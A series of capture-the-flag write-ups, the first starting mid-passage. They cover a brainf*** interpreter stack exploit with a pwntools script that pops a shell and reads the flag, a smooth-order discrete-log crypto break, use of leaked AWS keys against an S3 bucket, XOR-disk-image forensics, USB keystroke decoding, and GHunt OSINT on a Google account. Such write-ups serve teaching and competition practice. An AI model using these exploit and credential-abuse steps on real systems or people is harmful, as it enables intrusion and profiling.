next two bytes are not constant, so it is possible that we addition or subtraction could result in carry-overs affecting other bytes. Accounting for this would have been a headache, and the differences in these bytes is relatively small, so I decided to carry on with single-byte increment/decrements and take the small risk of failure on any given execution. The python script to generate the brainf*** code to do this is here (Note: the '.'s don't accomplish anything since I can't see output on the server, but I found them useful when debugging my payloads. I would recommend a breakpoint at main+845, and a check of the contents at rbp+rax*1-0x130 to gauge where your data pointer is pointing and what value this area of the stack currently contains):```bf_payload = '>' * (0x130 + 0x8) + '.' + '-' * 58 + '>' + '-' * 0x2 + '>' + '+' * 12```Next, I had to fix the value in rbp. The esoland wiki provides an example of moving values between cells that worked out well; as written, the script zeroes out the cell that it is copying from, so having an extra libc address in rbp+0x10 was very useful. The explanation of that script is here:```Code: Pseudo code:>> Move the pointer to cell2[-] Set cell2 to 0 << Move the pointer back to cell0[ While cell0 is not 0 - Subtract 1 from cell0 >> Move the pointer to cell2 + Add 1 to cell2 << Move the pointer back to cell0] End while```In an example run, the contents of rbp+0x10 were equal to 0x00007ffff7ffc620. After looking at vmmap on the same run, it looks like 0x00007ffff7ff**d**620 would be in writable memory, so if I just increment the second byte up 0x10 times after moving it to rbp, I should have the stack set up for a successful exploit.```gef➤ vmmap[ Legend: Code | Heap | Stack ]Start End Offset Perm Path0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /home/ubuntu/Downloads/boring-flag-checker0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /home/ubuntu/Downloads/boring-flag-checker0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /home/ubuntu/Downloads/boring-flag-checker0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /home/ubuntu/Downloads/boring-flag-checker0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /home/ubuntu/Downloads/boring-flag-checker0x00007ffff7dc6000 0x00007ffff7deb000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ffff7deb000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ffff7f63000 0x00007ffff7fad000 0x000000000019d000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ffff7fad000 0x00007ffff7fae000 0x00000000001e7000 --- /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ffff7fae000 0x00007ffff7fb1000 0x00000000001e7000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ffff7fb1000 0x00007ffff7fb4000 0x00000000001ea000 rw- /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ffff7fb4000 0x00007ffff7fba000 0x0000000000000000 rw- 0x00007ffff7fc9000 0x00007ffff7fcd000 0x0000000000000000 r-- [vvar]0x00007ffff7fcd000 0x00007ffff7fcf000 0x0000000000000000 r-x [vdso]0x00007ffff7fcf000 0x00007ffff7fd0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so0x00007ffff7fd0000 0x00007ffff7ff3000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so0x00007ffff7ff3000 0x00007ffff7ffb000 0x0000000000024000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so0x00007ffff7ffc000 0x00007ffff7ffd000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002d000 rw- /usr/lib/x86_64-linux-gnu/ld-2.31.so0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]gef➤ ```So, the example script from the wiki basically just needs to have each of the portions that move the pointer up by two cells increased to 16, as well as adding more pointer movements to move to the next byte of the address. I also incremented the second byte up from 0x10 will I on that byte. Here is the relevant portion of the script:```bf_payload += '<' * (8 + 2) + '.' + '>' * 0x10 + '[-' + '<' * 0x10 + '+' + '>' * 0x10 + ']' + '.' + '<' * 0x10bf_payload += '>' + '.' + '>' * 0x10 + '[-' + '<' * 0x10 + '+' + '>' * 0x10 + ']' + '.' + '<' * 0x10 + '+' * 0x10bf_payload += ('>' + '.' + '>' * 0x10 + '[-' + '<' * 0x10 + '+' + '>' * 0x10 + ']' + '.' + '<' * 0x10) * 4``` The final, full script to create the modified brainf*** script and store it in a file for local testing is below; it came it at a mere 838 characters even with some extra characters for debugging left in, so well within the maximum of 4000 bytes:```file1 = open('sample_program', 'wb') bf_chars = '>]<[,.-+'bf_payload = '>' * (0x130 + 0x8) + '.' + '-' * 58 + '>' + '-' * 0x2 + '>' + '+' * 12 bf_payload += '<' * (8 + 2) + '.' + '>' * 0x10 + '[-' + '<' * 0x10 + '+' + '>' * 0x10 + ']' + '.' + '<' * 0x10bf_payload += '>' + '.' + '>' * 0x10 + '[-' + '<' * 0x10 + '+' + '>' * 0x10 + ']' + '.' + '<' * 0x10 + '+' * 0x10bf_payload += ('>' + '.' + '>' * 0x10 + '[-' + '<' * 0x10 + '+' + '>' * 0x10 + ']' + '.' + '<' * 0x10) * 4 plain = b'\x40\x41\x42\x43\x44\x45\x46\x47'for char in bf_payload: index = bf_chars.find(char) file1.write(chr(plain[index]).encode('ascii')) file1.close() ```I also came up pwntools script to automatically connect to the remote server and feed in the payload, but in this case, you could easily just copy-paste the modified brainf*** script and input it manually.```from pwn import * #target = remote('localhost', 1337)target = remote('193.57.159.27', 28643) print(target.recvuntil('program:')) payload = b'' bf_payload = '<' * (0x130 + 0x8) + '.' + '-' * 58 + '<' + '-' * 0x2 + '<' + '+' * 12 bf_payload += '>' * (8 + 2) + '.' + '<' * 0x10 + '[-' + '>' * 0x10 + '+' + '<' * 0x10 + ']' + '.' + '>' * 0x10bf_payload += '<' + '.' + '<' * 0x10 + '[-' + '>' * 0x10 + '+' + '<' * 0x10 + ']' + '.' + '>' * 0x10 + '+' * 0x10bf_payload += ('<' + '.' + '<' * 0x10 + '[-' + '>' * 0x10 + '+' + '<' * 0x10 + ']' + '.' + '>' * 0x10) * 4 bf_chars = '<]>[,.-+'plain = b'\x40\x41\x42\x43\x44\x45\x46\x47'for char in bf_payload: index = bf_chars.find(char) payload += chr(plain[index]).encode('ascii')print(payload) target.sendline(payload) target.interactive() ```### Interacting with the Shell: Now, the fact that user input is getting redirected to /dev/null persists even after I popped a shell. My first idea was to set up some sort of reverse shell with netcat or similar, but I don't have a public-facing IP set up, so that would just be a massive hassle even if it would probably work. However, I came to a realization when typed in a non-shell command; I still get to see the results of stderr!```knittingirl@piglet:~/CTF/RaRCTF/boring_flag_runner$ python3 boring_flag_runner_payload_final.py [+] Opening connection to 193.57.159.27 on port 28643: Doneb'enter your program:'b'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF@FF@GGGGGGGGGGGGBBBBBBBBBBE@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBB@E@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBBGGGGGGGGGGGGGGGG@E@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBB@E@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBB@E@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBB@E@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBB'[*] Switching to interactive mode $ ls $ hellosh: 2: hello: not found``` So, if we just just pipe stdout to stderr, we should be able to view the results of any typical shell command. The session timed out fairly quickly, so it took a couple of goes, but the end result looks like this:```knittingirl@piglet:~/CTF/RaRCTF/boring_flag_runner$ python3 boring_flag_runner_payload_final.py [+] Opening connection to 193.57.159.27 on port 28643: Doneb'enter your program:'b'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF@FF@GGGGGGGGGGGGBBBBBBBBBBE@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBB@E@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBBGGGGGGGGGGGGGGGG@E@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBB@E@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBB@E@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBB@E@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBB'[*] Switching to interactive mode $ ls / 1>&2binbootchallengedevetchomeliblib32lib64libx32mediamntoptprocrootrunsbinsrvsystmpusrvar$ ls /challenge 1>&2Dockerfileboring-flag-checkerbuild.shctf.xinetdflag.txtgetprog.pystart.sh[*] Got EOF while reading in interactive$ [*] Interruptedknittingirl@piglet:~/CTF/RaRCTF/boring_flag_runner$ python3 boring_flag_runner_payload_final.py [+] Opening connection to 193.57.159.27 on port 28643: Doneb'enter your program:'b'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF@FF@GGGGGGGGGGGGBBBBBBBBBBE@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBB@E@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBBGGGGGGGGGGGGGGGG@E@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBB@E@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBB@E@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBB@E@@@@@@@@@@@@@@@@CFBBBBBBBBBBBBBBBBG@@@@@@@@@@@@@@@@AEBBBBBBBBBBBBBBBB'[*] Switching to interactive mode $ cat /challenge/flag.txt 1>&2rarctf{my_br41nf$%k_vm_d03snt_c4r3_f0r_s1lly_b0unds-ch3ck5_56fc255324}[*] Got EOF while reading in interactive$ ```Thanks for reading! ## References: https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/RaRCTF/Guessing_Game https://esolangs.org/wiki/Brainfuck
## LINDA### Challenge> Dan Boneh loves to improve cryptosystems, you should be loving breaking them?`nc 07.cr.yp.toc.tf 31010`- [linda.txz](https://cr.yp.toc.tf/tasks/linda_a26f6987ed6c630297c2df0847ef258ad3810ca2.txz) ```python#!/usr/bin/env python3 from Crypto.Util.number import *from math import gcdfrom flag import flag def keygen(p): while True: u = getRandomRange(1, p) if pow(u, (p-1) // 2, p) != 1: break x = getRandomRange(1, p) w = pow(u, x, p) while True: r = getRandomRange(1, p-1) if gcd(r, p-1) == 1: y = x * inverse(r, p-1) % (p-1) v = pow(u, r, p) return u, v, w def encrypt(m, pubkey): p, u, v, w = pubkey assert m < p r, s = [getRandomRange(1, p) for _ in '01'] ca = pow(u, r, p) cb = pow(v, s, p) cc = m * pow(w, r + s, p) % p enc = (ca, cb, cc) return enc def die(*args): pr(*args) quit() def pr(*args): s = " ".join(map(str, args)) sys.stdout.write(s + "\n") sys.stdout.flush() def sc(): return sys.stdin.readline().strip() def main(): border = "+" pr(border*72) pr(border, " .:::::: LINDA Cryptosystem has high grade security level ::::::. ", border) pr(border, " Can you break this cryptosystem and find the flag? ", border) pr(border*72) pr('| please wait, preparing the LINDA is time consuming...') from secret import p u, v, w = keygen(p) msg = bytes_to_long(flag) pubkey = p, u, v, w enc = encrypt(msg, pubkey) while True: pr("| Options: \n|\t[E]xpose the parameters \n|\t[T]est the encryption \n|\t[S]how the encrypted flag \n|\t[Q]uit") ans = sc().lower() if ans == 'e': pr(f'| p = {p}') pr(f'| u = {u}') pr(f'| v = {v}') pr(f'| w = {w}') elif ans == 's': print(f'enc = {enc}') elif ans == 't': pr('| send your message to encrypt: ') m = sc() m = bytes_to_long(m.encode('utf-8')) pr(f'| encrypt(m) = {encrypt(m, pubkey)}') elif ans == 'q': die("Quitting ...") else: die("Bye ...") if __name__ == '__main__': main()``` ### SolutionBy interacting with the challenge, we can get public key parameters by sending `e`, get encrypted flag with `s`, encrypt our own messages with `t` and quit with `q`. Only the first two options will be relevant to the solution. Encryption here works like this: $p, u, v, w$ are public key parameters, message $m$ is encrypted as follows: $$ca \equiv u^r \mod p \\ cb \equiv v^s \mod p$ \\cc \equiv mw^{r + s} \mod p$$ where $r, s$ are uniformly random numbers from $[1;p]$. We can notice that despite $p$ being new on each connection, $p - 1$ is always smooth. Example: ```pythonp = 31236959722193405152010489304408176327538432524312583937104819646529142201202386217645408893898924349364771709996106640982219903602836751314429782819699p - 1 = 2 * 3 * 11 * 41 * 137 * 223 * 7529 * 14827 * 15121 * 40559 * 62011 * 429083 * 916169 * 3810461 * 4316867 * 20962993 * 31469027 * 81724477 * 132735437 * 268901797 * 449598857 * 2101394579 * 2379719473 * 5859408629 * 11862763021 * 45767566217``` This is the key for solving this challenge, because after getting public key paramters and encrypted flag we can factor $p - 1$ by using trial division and [ECM](https://en.wikipedia.org/wiki/Lenstra_elliptic-curve_factorization), then use [Pohlig-Hellman algorithm](https://en.wikipedia.org/wiki/Pohlig%E2%80%93Hellman_algorithm) to compute $r, s$ as discrete logarithms of $ca, cb$ with bases $u, v$ respectively even without trying to find weaknesses in the keygen process. Then we can compute $m \equiv ccw^{-(r + s)} \mod p$ and get the flag. ```python#!/usr/bin/env sagefrom minipwn import remote # mini-pwntools library to connect to serverfrom Crypto.Util.number import long_to_bytes rem = remote("07.cr.yp.toc.tf", 31010)for _ in range(10): rem.recvline()rem.sendline('e')p = int(rem.recvline()[6:])u = int(rem.recvline()[6:])v = int(rem.recvline()[6:])w = int(rem.recvline()[6:])for _ in range(5): rem.recvline()rem.sendline('s')ca, cb, cc = map(int, rem.recvline()[7:-2].split(b', '))r = discrete_log(Mod(ca, p), Mod(u, p)) # sage has built-in discrete logarithm function, which uses Pohlig-Hellmans = discrete_log(Mod(cb, p), Mod(v, p)) # algorithm and automatically determines and factors group order, which divides p - 1m = cc * power_mod(w, -(r + s), p) % pprint(long_to_bytes(m).decode())``` ##### Flag`CCTF{1mPr0v3D_CrYp7O_5yST3m_8Y_Boneh_Boyen_Shacham!}`
# Writeup for TEASER: Locked out Checkout the original writeup with relevant images included ## Task 1 - Obtaining external access keys (25 points) 1. By launch the only given URL, and you will see a public content available on the listing, ie. _external-spaceship-storage.txt_2. Launch the URL <https://external-spaceship-storage-b38e8c6.s3-eu-west-1.amazonaws.com/external-spaceship-storage.txt> to download this text file3. In this text file, you are able to find the Access Key ID, Secret Access Key, and the first flag ## Task 2 - Checking your internal storage (25 points) 1. Download [awscli](https://aws.amazon.com/cli/) and launch the command `aws configure`, to authenticate by providing those information mentioned above2. Command `aws s3 ls` lists all the directories on the corresponding authorized S3 bucket, and you will see a private directory that wasn't found on step 1. You should be able to find a file in it, which contain the 2nd flag3. Command `aws s3 cp <source> <target>` allows you to download/copy the file from S3 bucket (requires prefix s3://FULL_PATH) to local machine ## Flags 1. CTF{6c2c45330a85b126f551}2. CTF{4ababede5580d9a22a2a} ## References - <https://medium.com/@shamnad.p.s/how-to-create-an-s3-bucket-and-aws-access-key-id-and-secret-access-key-for-accessing-it-5653b6e54337>- <https://docs.aws.amazon.com/cli/latest/userguide/cli-services-s3-commands.html>
*This writeup is also readable on my [GitHub repository](https://github.com/shawnduong/zero-to-hero-hacking/blob/master/writeups/closed/2021-uiuctf.md) and [personal website](https://shawnd.xyz/blog/2021-08-19/Deciphering-an-Unknown-File-and-Navigating-MS-DOS-to-Retrieve-a-Flag).* ## forensics/SUPER *Challenge written by WhiteHoodHacker.* > HOT Files: [`SUPERHOT`](https://irissec.xyz/uploads/2021-08-08/SUPERHOT) Checksum (SHA-1): ```7c1d4e72a35cb9152bee0fa3e611ea8ce0ae44ff SUPERHOT``` As with any challenge, let's first get oriented by finding out what kind of file we're dealing with. It doesn't seem like we have a straight objective given to us just yet, so maybe we'll stumble on it later once we start digging around. Let's find out what kind of `file` this is: ```sh[skat@anubis:~/work/UIUCTF] $ file SUPERHOTSUPERHOT: data``` Oh, well it looks like `file` is unable to recognize what kind of format it is. Let's have a look at the hexdump associated with this file and see if there's anything weird going on with the file format. We can view this file's hexdump with `xxd`: ```sh[skat@anubis:~/work/UIUCTF] $ xxd SUPERHOT``` ![](https://irissec.xyz/uploads/2021-08-08/s_img00.png) This is the part in the writeup where I make an obligatory [SUPERHOT](https://www.youtube.com/watch?v=vrS86l_CtAY) joke: Superhot is the most innovative shooter I've played in years! Stating the obvious here: the file is nearly chock-full of "SUPERHOT." Confused for a little while, I vaguely recalled how similar this seemed to a challenge that I did with my team a few seasons ago at the National Cyber League involving a database file that had been repeatedly XORed, relying on the idea that most hackers should know that null bytes are extremely common in any file format in order to put 2 and 2 together to realize that the repeating data was the XOR key, and that the original file could be recovered by just XORing it with the key again. My teammates had the same idea circulating: ![](https://irissec.xyz/uploads/2021-08-08/s_img01.png) "SUPERHOT" always being aligned was vital to making the XOR work since "SUPERHOT" XOR "SUPERHOT" would nullify the bytes, and any misalignment could cause catastrophic, snowballing failure down the line. zkldi was able to verify that all "SUPERHOT" started at some offset satisfying i = (0 + 8n) and ended at some offset satisfying i = (7 + 8n), where n begins at 0 and extends for the length of the file. With this, I spun up some quick Python and recovered the original file: ```pythoni#!/usr/bin/env python3 KEY = b"SUPERHOT" def main(): data = open("./SUPERHOT", "rb").read() out = bytearray() for i in range(len(data)): out.append(data[i] ^ KEY[i % len(KEY)]) open("./out", "wb").write(out) if __name__ == "__main__": main()``` It takes just a second to run the script until we get... ```sh[skat@anubis:~/work/UIUCTF] $ ./script.py[skat@anubis:~/work/UIUCTF] $ lsout script.py SUPERHOT[skat@anubis:~/work/UIUCTF] $ file outout: data``` Well that seems disappointing at first glance, but closer inspection of the file header reveals that `file`'s signature detection has just simply failed -- we have, in actuality, recovered some sort of distinguishable format! ```sh[skat@anubis:~/work/UIUCTF] $ xxd out | head -1000000000: 636f 6e65 6374 6978 0000 0002 0001 0000 conectix........00000010: 0000 0000 0000 0200 2866 3c22 7662 6f78 ........(f<"vbox00000020: 0006 0001 5769 326b 0000 0000 8000 0000 ....Wi2k........00000030: 0000 0000 8000 0000 1041 103f 0000 0003 .........A.?....00000040: ffff eeeb 1c9c fe70 17f7 6e4e 8837 f2e8 .......p..nN.7..00000050: e545 0548 0000 0000 0000 0000 0000 0000 .E.H............00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................``` The "vbox" string would suggest some kind of virtualization going on with VirtualBox, and the "conectix" stumped me for a little bit until I stumbled on [this Wikipedia article.](https://web.archive.org/web/20210731052020/https://en.wikipedia.org/wiki/Windows_Virtual_PC) The moment I saw that Microsoft was involved, I grew a few grey hairs. To put simply: [uh oh](https://www.youtube.com/watch?v=RZ5DgkoLuGI). I sent it to the rest of the team so that we could have some more hands on deck: ![](https://irissec.xyz/uploads/2021-08-08/s_img02.png) Before loading it up in a virtual machine, I wanted to see if anything could be recovered from it through static analysis. Running `strings` to recover plaintext strings, as well as carving the file based on signatures with `binwalk`, I discovered what seemed to be some interesting IRC chat logs: ```[13:33] *** Joins: white (whitehoodhacker@sigpwny)[13:33] <white> Dude, you should play SUPERHOT, it's the most innovative game I've played in years![13:33] <white> I'll send it to your file server[13:35] <someradgamer> epic I'll check it out[13:38] <someradgamer> why does the setup create so many folders?[13:38] <someradgamer> I have to change directories so many times to reach superhot.exe[13:39] <white> Have you tried it yet?[13:40] <someradgamer> yeah, it's just some dumb title screen, how do I play?[13:40] <white> That *is* the game[13:40] <white> you just keep repeating the title[13:45] <white> oh I almost forgot to mention[13:46] <white> there's a bug where if you SUPERHOT too much, it will SUPERHOT your entire PC[13:47] <someradgamer> wait what[13:48] <someradgamer> that doesn't sound HOT[13:48] <someradgamer> I'm SUPER deleting this now[13:48] <someradgamer> what the HOT is happening to my SUPER computer!?[13:48] <SUPERHOT> SUPERHOT SUPERHOT SUPERHOT[SU:PE] <RHOT> SUPERHOT SUPERHOT SUPERHOT SUPERHOT``` It looks like someradgamer installed SUPERHOT to their system, which had set up a bunch of directories during setup. They then tried to delete the file shortly before their entire computer got SUPERHOTed against their will, likely leading to the initial premise of the challenge and the source of the file we got in the first place. If we were to recover this file, perhaps we could see what someradgamer saw moments before their computer got SUPERHOTed. Let's load this up into VirtualBox and have a look: ![](https://irissec.xyz/uploads/2021-08-08/s_img03.png) As mentioned in the IRC chat logs, there is a long chain of directories created during setup. We have a linear directory tree that we can then travel down until eventually reaching the bottom and finding an empty directory: ![](https://irissec.xyz/uploads/2021-08-08/s_img04.png) I was stuck here for a while until my memory jumped back to this specific message from the IRC chat logs: ```[13:48] <someradgamer> I'm SUPER deleting this now``` Doing research brings me to [an article on MS-DOS's `UNDELETE` command.](https://web.archive.org/web/20210212013430/https://easydos.com/undelete.html) Going off of this hunch, I try to see if there's anything to undelete at the bottom of this directory tree. Sure enough, we recovered something! ![](https://irissec.xyz/uploads/2021-08-08/s_img05.png) Invoking the recovered file by its name, we start running the game. It says "SUPER" and then prompts us for some input. The correct response is "HOT," which will then give us the flag: ![](https://irissec.xyz/uploads/2021-08-08/s_img06.png) Frankly, the real challenge was MS-DOS; it took me an embarrassingly long amount of time to figure out how to work the completely unintuitive and clunky MS-DOS system, giving me yet another reason to despise Microsoft! -- not to imply that I'm short on reasons already. Overall, this was a pretty great challenge! I recalled on my experience with a similar challenge from the National Cyber League a few seasons ago, worked with my team to successfully confirm our hypothesis, and then spent hours -- and I truly mean hours -- trying to figure out how to work MS-DOS while also keeping in mind the IRC chat logs uncovered through static analysis. Although the original premise might not be something I would expect to find in the real-life work of a digital forensics professional, the idea of performing static analysis on the resultant file and navigating through a disk image absolutely is. This challenge was pretty fun and most importantly for me, gave me more ammunition to criticize Microsoft with.
# Keyp it universal / Forensics --- ## Description We intercepted a strange communication which we believe has important information inside. Can you retrieve the information from it? Flag format: flag{string} Regex: flag{[0-9a-z_]+} --- ## Solution this challenge was about analyzing a pcap file.opend the file with wireshark. ![img](https://i.imgur.com/AtVXE7z.png) noticed the used protocol is USB,after searching and understanding the frame and few details of data input abd ouput in USB protocol [https://wiki.wireshark.org/USB](https://wiki.wireshark.org/USB) and noticed the communication between 'host' and '1.41.0' only with 8 bytes difference ![img](https://i.imgur.com/1JPhQXQ.png) also noticed there is a value is keeping changing, it's the HID Data and its equivalent to letters. so lets list all interrupt communication with 8 bytes since its our attention only with ((usb.transfer_type == 0x01) && (frame.len == 72)) && !(usb.capdata == 00:00:00:00:00:00:00:00) ![img](https://i.imgur.com/69GGFgA.png) so lets save those letters in a txt file to deal with them with python script to get the flag ![img](https://i.imgur.com/Y2BysKS.png) with this script coding: utf-8newmap={2: "PostFail",4: "a",5: "b",6: "c",7: "d",8: "e",9: "f",10: "g",11: "h",12: "i",13: "j",14: "k",15: "l",16: "m",17: "n",18: "o",19: "p",20: "q",21: "r",22: "s",23: "t",24: "u",25: "v",26: "w",27: "x",28: "y",29: "z",30: "1",31: "2",32: "3",33: "4",34: "5",35: "6",36: "7",37: "8",38: "9",39: "0",40: "Enter",41: "esc",42: "del",43: "tab",44: "space",45: "-",47: "[",48: "]",56: "/",57: "CapsLock",79: "RightArrow",80: "LetfArrow"}myKeys = open('capture.txt')i = 1keyVal = int(00000000)for line in myKeys: bytesArray = bytearray.fromhex(line.strip()) #print "Line Number: " + str(i) for byte in bytesArray: if byte != 0: keyVal = int(byte) if keyVal in newmap: #print "Value map : " + str(keyVal) + " — -> " + newmap[keyVal] print newmap[keyVal] else: print "No map found for this value: " + str(keyVal)#print format(byte, ‘02X’) i+=1 running the script on our file, we got the flag :"D ![img](https://i.imgur.com/pgsGn6k.png) --- ## Flag flag{usb-p4ck3t-c4ptur3-1s-fun}
# RTLXHA2021 - All Hail Google - Write-Up Author: Rb916120 \[[MOCTF](https://www.facebook.com/MOCSCTF)\] - Flag:RTL{h3he3_bois_y0u_g0t_m3_th15_t1m3} ## **Question:**All Hail Google >A 'wonder' place>>Note: This is not simply a geoguesser challenge, follow the hint begins with this image, flag's format RTL{...}>>Author: psycholog1st#2222 & Moriarty#8077 [unknow.png](./unknow.png) ## Write up**below tool mentioned in this article.** [Ghunt](https://github.com/mxrch/GHunt) - GHunt is a modulable OSINT tool designed to evolve over the years, and incorporates many techniques to investigate Google accounts, or objects. **some inspiration** after the event and review other's writeup. i aware the place can be found if we using vietnamese for searching. How could we search the thing without language limitation? google lens can help!! i should try this wonderful thing in next OSINT challenge. btw during the challenge, i got rick rolled twice by the author... lollll.... --- First, let guess the place of this image, characteristic 1. this building looking like Thailand/vietnam style, a kind of east asia building style ![img](./img/1.PNG) characteristic 2. people with black hair wearing long clothing, i guess this place is near equatorial(赤道) ![img](./img/2.PNG) ![img](./img/2.1.PNG) characteristic 3. miniature of Arc de Triomphe ![img](./img/3.PNG) characteristic 4. the place near seaside after inspection on the map candidate would be:```indiamyanmarvietnamcambodiathailandchinaphilippinesmalaysia``` search it with the image and keyword "miniature", "travel","Arc de Triomphe" and country name this burning a brunch of time to identify the location. finally find a picture have the same building. ![img](./img/4.PNG) and looking at the link and search "Danang golden Bay" in google maps https://www.tripadvisor.co.il/LocationPhotoDirectLink-g298085-d13211927-i459977468-Danang_Golden_Bay-Da_Nang.html ![img](./img/5.PNG) yeah! we find the place, but the game is not end yet. we have to find the flag. by investigating the review of the place. one of review catch my attention. ![img](./img/6.PNG) look at the pastebin link ![img](./img/7.PNG) 2 info from this message.> 1. Alex will visit this park with my wife next year.> 2. file from google drive may contain the flag investigating on the google drive file, it is a PNG file with some exif info ![img](./img/8.PNG) we find the mail address of alex!! then we can use Ghunt to do further OSINT on alex's address ```Name : Alexix Thomas [-] Default profile picture Last profile edit : 2021/08/02 05:55:09 (UTC) Email : [email protected]Google ID : 117677458572920984210 Hangouts Bot : No [+] Activated Google services :- Hangouts- Maps [-] YouTube channel not found. Google Maps : https://www.google.com/maps/contrib/117677458572920984210/reviews[-] No reviews Google Calendar : https://calendar.google.com/calendar/u/0/[email protected][-] No public Google Calendar.```![img](./img/9.PNG) by visiting the google calendar, we can find the calender event on 2022. ![img](./img/10.PNG) ![img](./img/11.PNG) send a email to the mailbox, will got the flag! ![img](./img/12.PNG)
# About us / Forensics --- ## Description This challenge is about the RCTS CERT at FCCN. Can you get the flag? Flag format: flag{string} --- ## Solution After analyzing the pdf with "binwalk" didn't find something sus, so lets see the metadata of this pdf ![img](https://i.imgur.com/tctH9lZ.png) and we found the flag in it :"D --- ## Flag flag{4b0ut_us_4t_rcts_c3rt}
